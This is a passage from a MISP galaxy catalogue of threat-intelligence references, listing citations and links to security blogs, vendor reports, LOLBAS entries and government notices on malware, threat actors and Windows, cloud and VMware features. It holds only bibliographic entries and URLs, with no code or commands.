
Cisco Umbrella DGA Brute Force

Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019.

The tag is: *misp-galaxy:references="Cisco Umbrella DGA Brute Force"*

Table 23887. Table References

Links
https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/

Www.huntress.com March 13 2024

Faith Stratton. (2024, March 13). Using Backup Utilities for Data Exfiltration . Retrieved October 4,

2024.

The tag is: *misp-galaxy:references="Www.huntress.com March 13 2024"*

Table 23888. Table References

Links
https://www.huntress.com/blog/using-backup-utilities-for-data-exfiltration

Reliaquest CAPTCHA 2024

Alex Capraro. (2024, December 17). Using CAPTCHA for Compromise: Hackers Flip the Script. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Reliaquest CAPTCHA 2024"*

Table 23889. Table References

Links
https://www.reliaquest.com/blog/using-captcha-for-compromise/

Exploit Monday Mitigate Device Guard Bypases

Graeber, M. (2016, September 8). Using Device Guard to Mitigate Against Device Guard Bypasses. Retrieved September 13, 2016.

The tag is: *misp-galaxy:references="Exploit Monday Mitigate Device Guard Bypases"*

Table 23890. Table References

Links
http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html

Microsoft DsAddSidHistory

Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.

The tag is: *misp-galaxy:references="Microsoft DsAddSidHistory"*

Table 23891. Table References

Links
https://msdn.microsoft.com/library/ms677982.aspx

AWS Instance Profiles

AWS. (n.d.). Using instance profiles. Retrieved February 28, 2024.

The tag is: *misp-galaxy:references="AWS Instance Profiles"*

Table 23892. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html

Microsoft 365 Defender Solorigate

Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.

The tag is: *misp-galaxy:references="Microsoft 365 Defender Solorigate"*

Table 23893. Table References

Links
https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/

TechNet Netsh

Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.

The tag is: *misp-galaxy:references="TechNet Netsh"*

Table 23894. Table References

Links
https://technet.microsoft.com/library/bb490939.aspx

Demaske Netsh Persistence

Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.

The tag is: *misp-galaxy:references="Demaske Netsh Persistence"*

Table 23895. Table References

Links
https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html

CrowdStrike Outlook Forms

Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.

The tag is: *misp-galaxy:references="CrowdStrike Outlook Forms"*

Table 23896. Table References

Links
https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746

Red Hat PAM

Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.

The tag is: *misp-galaxy:references="Red Hat PAM"*

Table 23897. Table References

Links
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules

Varonis Power Automate Data Exfiltration

Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Varonis Power Automate Data Exfiltration"*

Table 23898. Table References

Links
https://www.varonis.com/blog/power-automate-data-exfiltration

Microsoft Disable NTLM Nov 2012

Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.

The tag is: *misp-galaxy:references="Microsoft Disable NTLM Nov 2012"*

Table 23899. Table References

Links
https://technet.microsoft.com/library/jj865668.aspx

Microsoft SMB Packet Signing

Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019.

The tag is: *misp-galaxy:references="Microsoft SMB Packet Signing"*

Table 23900. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)

TechNet Applocker vs SRP

Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.

The tag is: *misp-galaxy:references="TechNet Applocker vs SRP"*

Table 23901. Table References

Links
https://technet.microsoft.com/en-us/library/ee791851.aspx

Microsoft Using Software Restriction

Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.

The tag is: *misp-galaxy:references="Microsoft Using Software Restriction"*

Table 23902. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/ee791851(v=ws.11)?redirectedfrom=MSDN

OSX Keychain Schaumann

Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022.

The tag is: *misp-galaxy:references="OSX Keychain Schaumann"*

Table 23903. Table References

Links
https://www.netmeister.org/blog/keychain-passwords.html

AutoHotKey

AutoHotkey Foundation LLC. (n.d.). Using the Program. Retrieved March 29, 2024.

The tag is: *misp-galaxy:references="AutoHotKey"*

Table 23904. Table References

Links
https://www.autohotkey.com/docs/v1/Program.htm

U.S. DoJ RedLine META Disruption October 29 2024

Office of Public Affairs. (2024, October 29). U.S. Joins International Action Against RedLine and META Infostealers. Retrieved January 30, 2025.

The tag is: *misp-galaxy:references="U.S. DoJ RedLine META Disruption October 29 2024"*

Table 23905. Table References

Links
https://www.justice.gov/usao-wdtx/pr/us-joins-international-action-against-redline-and-meta-infostealers

USNYAG IranianBotnet March 2016

Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="USNYAG IranianBotnet March 2016"*

Table 23906. Table References

Links
https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged

BleepingComputer BeyondTrust December 30 2024

Lawrence Abrams. (2024, December 30). US Treasury Department breached through remote support platform. Retrieved January 6, 2025.

The tag is: *misp-galaxy:references="BleepingComputer BeyondTrust December 30 2024"*

Table 23907. Table References

Links
https://www.bleepingcomputer.com/news/security/us-treasury-department-breached-through-remote-support-platform/

UtilityFunctions.ps1 - LOLBAS Project

LOLBAS. (2021, September 26). UtilityFunctions.ps1. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="UtilityFunctions.ps1 - LOLBAS Project"*

Table 23908. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/

Kernel.org Restrict Kernel Module

Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin register. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="Kernel.org Restrict Kernel Module"*

Table 23909. Table References

Links
https://patchwork.kernel.org/patch/8754821/

SentinelOne Valak June 2020

Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.

The tag is: *misp-galaxy:references="SentinelOne Valak June 2020"*

Table 23910. Table References

Links
https://assets.sentinelone.com/labs/sentinel-one-valak-i

Cybereason Valak May 2020

Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.

The tag is: *misp-galaxy:references="Cybereason Valak May 2020"*

Table 23911. Table References

Links
https://www.cybereason.com/blog/valak-more-than-meets-the-eye

Walmart Roberts Oct 2018

Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping — Advanced Maldoc Techniques. Retrieved September 17, 2020.

The tag is: *misp-galaxy:references="Walmart Roberts Oct 2018"*

Table 23912. Table References

Links
https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278

vbc.exe - LOLBAS Project

LOLBAS. (2020, February 27). vbc.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="vbc.exe - LOLBAS Project"*

Table 23913. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Vbc/

Vmware vCenter

Vmware. (n.d.). vCenter. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Vmware vCenter"*

Table 23914. Table References

Links
https://www.vmware.com/products/vcenter.html

Veil_Ref

Veil Framework. (n.d.). Retrieved December 4, 2014.

The tag is: *misp-galaxy:references="Veil_Ref"*

Table 23915. Table References

Links
https://www.veil-framework.com/framework/

Cyberint October 23 2023

Shmuel Gihon. (2023, October 23). Venom Control–RAT With a Sting. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Cyberint October 23 2023"*

Table 23916. Table References

Links
https://cyberint.com/blog/research/venom-control-rat-with-a-sting/

HC3 Analyst Note Venus Ransomware November 2022

Health Sector Cybersecurity Coordination Center (HC3). (2022, November 9). Venus Ransomware Targets Publicly Exposed Remote Desktop Services. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="HC3 Analyst Note Venus Ransomware November 2022"*

Table 23917. Table References

Links
https://www.hhs.gov/sites/default/files/venus-ransomware-analyst-note.pdf

LOLBAS Verclsid

LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.

The tag is: *misp-galaxy:references="LOLBAS Verclsid"*

Table 23918. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Verclsid/

WinOSBite verclsid.exe

verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="WinOSBite verclsid.exe"*

Table 23919. Table References

Links
https://winosbite.com/verclsid-exe/

Unit 42 VERMIN Jan 2018

Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.

The tag is: *misp-galaxy:references="Unit 42 VERMIN Jan 2018"*

Table 23920. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/

Unit 42 Vice Society December 6 2022

JR Gumarin. (2022, December 6). Vice Society: Profiling a Persistent Threat to the Education Sector. Retrieved November 14, 2023.

The tag is: *misp-galaxy:references="Unit 42 Vice Society December 6 2022"*

Table 23921. Table References

Links
https://unit42.paloaltonetworks.com/vice-society-targets-education-sector/

Minerva Labs Vidar Stealer Evasion

Minerva Labs. (2021, September 23). Vidar Stealer Evasion Arsenal. Retrieved November 16, 2023.

The tag is: *misp-galaxy:references="Minerva Labs Vidar Stealer Evasion"*

Table 23922. Table References

Links
https://web.archive.org/web/20221201005558/https://minerva-labs.com/blog/vidar-stealer-evasion-arsenal/

Amnesty Intl. Ocean Lotus February 2021

Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.

The tag is: *misp-galaxy:references="Amnesty Intl. Ocean Lotus February 2021"*

Table 23923. Table References

Links
https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf

FireEye APT32 April 2020

Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020.

The tag is: *misp-galaxy:references="FireEye APT32 April 2020"*

Table 23924. Table References

Links

https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html

Slack Help Center Access Logs

Slack Help Center. (n.d.). View Access Logs for your workspace. Retrieved April 10, 2023.

The tag is: *misp-galaxy:references="Slack Help Center Access Logs"*

Table 23925. Table References

Links
https://slack.com/help/articles/360002084807-View-Access-Logs-for-your-workspace

Azure Activity Logs

Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.

The tag is: *misp-galaxy:references="Azure Activity Logs"*

Table 23926. Table References

Links
https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs

DOJ GRU Indictment Jul 2018

Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="DOJ GRU Indictment Jul 2018"*

Table 23927. Table References

Links
https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf

MalwareTech VFS Nov 2014

Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.

The tag is: *misp-galaxy:references="MalwareTech VFS Nov 2014"*

Table 23928. Table References

Links
https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html

Virtualization/Sandbox Evasion

YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). Virtualization/Sandbox Evasion - How Attackers Avoid Malware Analysis. Retrieved December 26, 2023.

The tag is: *misp-galaxy:references="Virtualization/Sandbox Evasion"*

Table 23929. Table References

Links
https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis

Ars Technica Pwn2Own 2017 VM Escape

Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.

The tag is: *misp-galaxy:references="Ars Technica Pwn2Own 2017 VM Escape"*

Table 23930. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/

Broadcom Virtual Machine Guest Operations Privileges

Broadcom. (n.d.). Virtual Machine Guest Operations Privileges. Retrieved March 28, 2025.

The tag is: *misp-galaxy:references="Broadcom Virtual Machine Guest Operations Privileges"*

Table 23931. Table References

Links
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/7-0/vsphere-security-7-0/defined-privileges/virtual-machine-guest-operations-privileges.html

Google VM

Google. (n.d.). Virtual machine instances. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Google VM"*

Table 23932. Table References

Links

https://cloud.google.com/compute/docs/instances

Microsoft Virutal Machine API

Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.

The tag is: *misp-galaxy:references="Microsoft Virutal Machine API"*

Table 23933. Table References

Links
https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get

Azure Update Virtual Machines

Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Azure Update Virtual Machines"*

Table 23934. Table References

Links
https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update

Azure Virtual Network TAP

Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.

The tag is: *misp-galaxy:references="Azure Virtual Network TAP"*

Table 23935. Table References

Links
https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview

Google VPC Overview

Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019.

The tag is: *misp-galaxy:references="Google VPC Overview"*

Table 23936. Table References

Links
https://cloud.google.com/vpc/docs/vpc

Volexity Virtual Private Keylogging

Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.

The tag is: *misp-galaxy:references="Volexity Virtual Private Keylogging"*

Table 23937. Table References

Links
https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

VirusTotal Behavior def.exe

VirusTotal. (2023, July 11). VirusTotal Behavior def.exe. Retrieved July 11, 2023.

The tag is: *misp-galaxy:references="VirusTotal Behavior def.exe"*

Table 23938. Table References

Links
https://www.virustotal.com/gui/file/7b15f570a23a5c5ce8ff942da60834a9d0549ea3ea9f34f900a09331325df893/behavior

VirusTotal Behavior grim-real

VirusTotal. (2024, October 27). VirusTotal Behavior grim-real. Retrieved November 15, 2024.

The tag is: *misp-galaxy:references="VirusTotal Behavior grim-real"*

Table 23939. Table References

Links
https://www.virustotal.com/gui/file/14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb/behavior

VirusTotal FAQ

VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.

The tag is: *misp-galaxy:references="VirusTotal FAQ"*

Table 23940. Table References

Links
https://www.virustotal.com/en/faq/

Visa RawPOS March 2015

Visa. (2015, March). Visa Security Alert: "RawPOS" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.

The tag is: *misp-galaxy:references="Visa RawPOS March 2015"*

Table 23941. Table References

Links
https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf

Visio.exe - LOLBAS Project

LOLBAS. (2024, February 15). Visio.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="Visio.exe - LOLBAS Project"*

Table 23942. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Visio/

ESET Recon Snake Nest

Boutin, J. and Faou, M. (2018). Visiting the snake nest. Retrieved May 7, 2019.

The tag is: *misp-galaxy:references="ESET Recon Snake Nest"*

Table 23943. Table References

Links
https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Visiting-The-Snake-Nest.pdf

VB Microsoft

Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.

The tag is: *misp-galaxy:references="VB Microsoft"*

Table 23944. Table References

Links
https://docs.microsoft.com/dotnet/visual-basic/

Wikipedia VBA

Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.

The tag is: *misp-galaxy:references="Wikipedia VBA"*

Table 23945. Table References

Links
https://en.wikipedia.org/wiki/Visual_Basic_for_Applications

VB .NET Mar 2020

NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.

The tag is: *misp-galaxy:references="VB .NET Mar 2020"*

Table 23946. Table References

Links
https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/

Thornton tutorial VSCode shell September 2023

Truvis Thornton. (2023, September 25). Visual Studio Code: embedded reverse shell and how to block, create Sentinel Detection, and add Environment Prevention. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Thornton tutorial VSCode shell September 2023"*

Table 23947. Table References

Links
https://medium.com/@truvis.thornton/visual-studio-code-embedded-reverse-shell-and-how-to-block-create-sentinel-detection-and-add-e864ebafaf6d

VisualUiaVerifyNative.exe - LOLBAS Project

LOLBAS. (2021, September 26). VisualUiaVerifyNative.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="VisualUiaVerifyNative.exe - LOLBAS Project"*

Table 23948. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/

Broadcom VMSA-2024-0019

Broadcom. (2024, September 17). VMSA-2024-0019: Questions & Answers. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="Broadcom VMSA-2024-0019"*

Table 23949. Table References

Links
https://github.com/vmware/vcf-security-and-compliance-guidelines/blob/main/security-advisories/vmsa-2024-0019/README.md

Broadcom VMSA-2025-004

Broadcom. (2025, March 6). VMSA-2025-0004: Questions & Answers. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Broadcom VMSA-2025-004"*

Table 23950. Table References

Links
https://github.com/vmware/vcf-security-and-compliance-guidelines/tree/main/security-advisories/vmsa-2025-0004

Carbon Black HotCroissant April 2020

Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.

The tag is: *misp-galaxy:references="Carbon Black HotCroissant April 2020"*

Table 23951. Table References

Links
https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/

Varonis

Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Varonis"*

Table 23952. Table References

Links
https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire

Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023

Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023"*

Table 23953. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/

Google Cloud June 13 2023

Mandiant. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors . Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Google Cloud June 13 2023"*

Table 23954. Table References

Links
https://www.mandiant.com/resources/blog/vmware-esxi-zero-day-bypass

Broadcom VMware Tools Services

Broadcom. (n.d.). VMware Tools Services. Retrieved March 28, 2025.

The tag is: *misp-galaxy:references="Broadcom VMware Tools Services"*

Table 23955. Table References

Links
https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/tools/12-4-0/vmware-tools-administration-12-4-0/introduction-to-vmware-tools/vmware-tools-service.html

Offensive Security VNC Authentication Check

Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.

The tag is: *misp-galaxy:references="Offensive Security VNC Authentication Check"*

Table 23956. Table References

Links
https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/

Trend Micro Void Banshee July 15 2024

Peter Girnus, Aliakbar Zahravi. (2024, July 15). Void Banshee Targets Windows Users. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="Trend Micro Void Banshee July 15 2024"*

Table 23957. Table References

Links
https://www.trendmicro.com/en_us/research/24/g/CVE-2024-38112-void-banshee.html

Trend Micro Void Rabisu May 30 2023

Feike Hacquebord, Stephen Hilt, Fernando Merces, Lord Alfred Remorin. (2023, May 30). Void Rabisu's Use of RomCom Backdoor Shows a Growing Shift in Threat Actors' Goals. Retrieved June 4, 2023.

The tag is: *misp-galaxy:references="Trend Micro Void Rabisu May 30 2023"*

Table 23958. Table References

Links
https://www.trendmicro.com/en_us/research/23/e/void-rabisu-s-use-of-romcom-backdoor-shows-a-growing-shift-in-th.html

CheckPoint Volatile Cedar March 2015

Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021.

The tag is: *misp-galaxy:references="CheckPoint Volatile Cedar March 2015"*

Table 23959. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf

Microsoft Volt Typhoon May 2023

Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.

The tag is: *misp-galaxy:references="Microsoft Volt Typhoon May 2023"*

Table 23960. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/

Microsoft Volt Typhoon May 24 2023

Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved May 25, 2023.

The tag is: *misp-galaxy:references="Microsoft Volt Typhoon May 24 2023"*

Table 23961. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/

Abramovsky VSCode Security

Abramovsky, O. (2023, May 16). VSCode Security: Malicious Extensions Detected- More Than 45,000 Downloads- PII Exposed, and Backdoors Enabled. Retrieved March 30, 2025.

The tag is: *misp-galaxy:references="Abramovsky VSCode Security"*

Table 23962. Table References

Links
https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/

VSDiagnostics.exe - LOLBAS Project

LOLBAS. (2023, July 12). VSDiagnostics.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="VSDiagnostics.exe - LOLBAS Project"*

Table 23963. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSDiagnostics/

Vshadow.exe - LOLBAS Project

LOLBAS. (2023, September 6). Vshadow.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Vshadow.exe - LOLBAS Project"*

Table 23964. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vshadow/

VSIISExeLauncher.exe - LOLBAS Project

LOLBAS. (2021, September 24). VSIISExeLauncher.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="VSIISExeLauncher.exe - LOLBAS Project"*

Table 23965. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/

vsjitdebugger.exe - LOLBAS Project

LOLBAS. (2018, May 25). vsjitdebugger.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="vsjitdebugger.exe - LOLBAS Project"*

Table 23966. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/

VSLaunchBrowser.exe - LOLBAS Project

LOLBAS. (2024, April 12). VSLaunchBrowser.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="VSLaunchBrowser.exe - LOLBAS Project"*

Table 23967. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/VsLaunchBrowser/

vsls-agent.exe - LOLBAS Project

LOLBAS. (2022, November 1). vsls-agent.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="vsls-agent.exe - LOLBAS Project"*

Table 23968. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/vsls-agent/

vstest.console.exe - LOLBAS Project

LOLBAS. (2023, September 8). vstest.console.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="vstest.console.exe - LOLBAS Project"*

Table 23969. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/vstest.console/

Kanthak Sentinel

Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.

The tag is: *misp-galaxy:references="Kanthak Sentinel"*

Table 23970. Table References

Links
https://skanthak.homepage.t-online.de/sentinel.html

Vulnerability and Exploit Detector

Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.

The tag is: *misp-galaxy:references="Vulnerability and Exploit Detector"*

Table 23971. Table References

Links
https://skanthak.homepage.t-online.de/sentinel.html

Electron Security 3

CertiK. (2020, June 30). Vulnerability in Electron-based Application: Unintentionally Giving Malicious Code Room to Run. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="Electron Security 3"*

Table 23972. Table References

Links
https://medium.com/certik/vulnerability-in-electron-based-application-unintentionally-giving-malicious-code-room-to-run-e2e1447d01b8

Technet MS14-068

Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.

The tag is: *misp-galaxy:references="Technet MS14-068"*

Table 23973. Table References

Links
https://technet.microsoft.com/en-us/library/security/ms14-068.aspx

vxunderground debug

vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="vxunderground debug"*

Table 23974. Table References

Links
https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug

Symantec W32.Duqu

Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.

The tag is: *misp-galaxy:references="Symantec W32.Duqu"*

Table 23975. Table References

Links
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf

Symantec W.32 Stuxnet Dossier

Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.

The tag is: *misp-galaxy:references="Symantec W.32 Stuxnet Dossier"*

Table 23976. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Nicolas Falliere, Liam O Murchu, Eric Chien February 2011

Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Nicolas Falliere, Liam O Murchu, Eric Chien February 2011"*

Table 23977. Table References

Links
https://docs.broadcom.com/doc/security-response-w32-stuxnet-dossier-11-en

w32.tidserv.g

Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.

The tag is: *misp-galaxy:references="w32.tidserv.g"*

Table 23978. Table References

Links
https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2

Github W32Time Oct 2017

Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.

The tag is: *misp-galaxy:references="Github W32Time Oct 2017"*

Table 23979. Table References

Links
https://github.com/scottlundgren/w32time

Symantec Chernobyl W95.CIH

Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.

The tag is: *misp-galaxy:references="Symantec Chernobyl W95.CIH"*

Table 23980. Table References

Links
https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99

Wab.exe - LOLBAS Project

LOLBAS. (2018, May 25). Wab.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Wab.exe - LOLBAS Project"*

Table 23981. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wab/

GitLab WakeOnLAN

Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.

The tag is: *misp-galaxy:references="GitLab WakeOnLAN"*

Table 23982. Table References

Links
https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN

Wandering Spider Profile

CrowdStrike. (n.d.). Wandering Spider Profile. Retrieved February 28, 2025.

The tag is: *misp-galaxy:references="Wandering Spider Profile"*

Table 23983. Table References

Links
https://www.crowdstrike.com/adversaries/wandering-spider/

FireEye WannaCry 2017

Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.

The tag is: *misp-galaxy:references="FireEye WannaCry 2017"*

Table 23984. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html

BfV North Korea February 17 2024

Bundesamt fur Verfassungsschutz. (2024, February 17). Warning of North Korean cyber threats targeting the Defense Sector. Retrieved February 26, 2024.

